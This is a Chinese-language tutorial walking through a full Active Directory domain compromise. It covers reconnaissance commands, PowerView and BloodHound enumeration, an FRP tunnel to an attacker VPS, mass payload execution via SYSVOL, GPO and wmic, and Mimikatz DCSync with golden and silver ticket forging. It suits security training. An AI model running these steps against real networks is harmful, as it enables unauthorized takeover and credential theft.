域渗透流程详解
0x0 前言
本文详细记录了一个完整的域渗透流程,从初始权限获取到最终域控制,涵盖了信息收集、域环境侦查、横向移动和权限维持等关键环节。
0x1 初始环境
假设已通过某种手段获得了一个机器的system控制权限,主机名为pohxxadc,域名为pohxx.com,IP为192.168.1.36。
0x2 初步信息收集
0X2.1 单机手工收集
-
网络配置信息
ipconfig /all关键信息:主机名、DNS域名、IP地址、子网掩码、默认网关、DNS服务器。
-
操作系统信息
systeminfo | findstr /b /c:"OS Name" /c:"OS Version"示例输出:
OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600 -
处理器架构
echo %processor_architecture% -
安装软件列表
wmic product get name,version特别注意VNC、数据库等敏感软件。
-
服务信息
wmic service list brief关注Running和Auto状态的服务。
-
进程列表
tasklist /svc wmic process list brief -
启动程序
wmic startup get command, caption -
计划任务
schtasks /query /fo list /v -
用户列表
net user net localgroup administrators -
网络连接
netstat -ano重点关注53(DNS)、3389(RDP)等端口。
-
补丁信息
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn -
共享列表
net share wmic share get name,path,status -
路由和ARP
route print arp -a -
防火墙配置
netsh advfirewall show allprofiles
### 0x2.2 单机自动化收集
可以使用工具如Ladon进行自动化收集,但需注意:
- 可能触发报警
- 操作不可控
- 耗时较长
- 信息准确性不确定
## 0x3 侦查域环境
### 0x3.1 判断是否存在域环境
1. **ipconfig命令**
```cmd
ipconfig /all
查看DNS后缀是否为域名。
-
systeminfo
systeminfo查看"Domain"字段。
-
net config
net config workstation查看"Workstation domain"和"Logon domain"。
-
net time
net time /domain若存在域但无权限会返回"Access is denied"。
0x3.2 收集域内基础信息
-
查询所有域
net view /domain -
查询域内计算机
net view /domain:域名 -
查询域内用户组
net group /domain重点关注:
- Domain Admins(域管理员)
- Domain Computers(域内机器)
- Domain Controllers(域控制器)
- Enterprise Admins(企业系统管理员)
-
查询域密码策略
net account /domain -
查询域信任关系
nltest /domain_trusts
0x3.3 查看域控制器
-
查询域控制器列表
nltest /dclist:域名 -
查询域控制器主机名
nslookup -type=SRV _ldap._tcp -
查询域控制器组
net group "Domain Controllers" /domain
0x3.4 获取域内用户和管理员信息
-
查询所有域用户
net user /domain -
查询域管理员
net group "Domain admins" /domain -
查询企业管理员
net group "Enterprise Admins" /domain
0x3.5 定位域管理员
使用PowerView定位域管理员登录的机器:
-
导入PowerView
powershell-import PowerView.ps1 -
查询域管理员会话
Invoke-UserHunter -
常用PowerView命令
Get-NetDomain # 获取当前域 Get-NetUser # 获取所有用户 Get-NetDomainController # 获取域控制器 Get-NetComputer # 获取域内机器 Get-NetSession # 获取会话 Get-NetLoggedon # 获取已登录用户
0x3.6 查找域管理进程
-
本机检查
tasklist /svc对比域管理员列表。
-
枚举本地管理员权限
Get-DomainComputer | Test-AdminAccess
0x3.7 BloodHound自动化收集域信息
-
收集数据
SharpHound.exe -all -
分析数据
- 使用Neo4j加载收集的数据
- 重点关注"Find Shortest Paths to Domain Admins"
0x4 域环境横向目标
0x4.1 搭建加密隧道
使用FRP搭建socks5代理:
-
服务端配置(frps.ini)
[common] bind_port = 14500 token = your_token -
客户端配置(frpc.ini)
[common] server_addr = VPS_IP server_port = 14500 token = your_token tls_enable = true [http_proxy] type = tcp remote_port = 16005 plugin = socks5
0x4.2 寻找靶标
-
端口扫描
portscan 192.168.1.0/24 80,443,8080 -
Web服务探测
使用httpx等工具扫描开放的Web服务。
0x4.3 批量上线
-
通过GPO下发
针对指定OU的机器和用户执行命令。 -
通过域共享
上传payload到SYSVOL目录:\\域控制器\sysvol\域名\payload.exe -
批量执行
wmic /node:IP process call create "cmd /c \\路径\payload.exe"
0x5 域环境权限维持
0x5.1 黄金票据(Golden Ticket)
-
获取krbtgt的NTLM Hash
lsadump::dcsync /domain:域名 /user:krbtgt -
获取域SID
wmic useraccount get name,sid -
生成黄金票据
kerberos::golden /admin:用户名 /domain:域名 /sid:域SID /krbtgt:hash值 /ticket:票据文件名 -
注入票据
kerberos::ptt 票据文件名
0x5.2 白银票据(Silver Ticket)
-
获取服务账号Hash
lsadump::dcsync /domain:域名 /user:机器名$ -
生成白银票据
kerberos::golden /domain:域名 /sid:域SID /target:目标FQDN /service:服务类型 /rc4:服务账号Hash /user:用户名 /ptt
0x6 总结
本文详细记录了从初始权限获取到最终控制域环境的完整流程,包括信息收集、域环境侦查、横向移动和权限维持等关键步骤。掌握这些技术可以帮助安全人员更好地理解域环境的安全风险。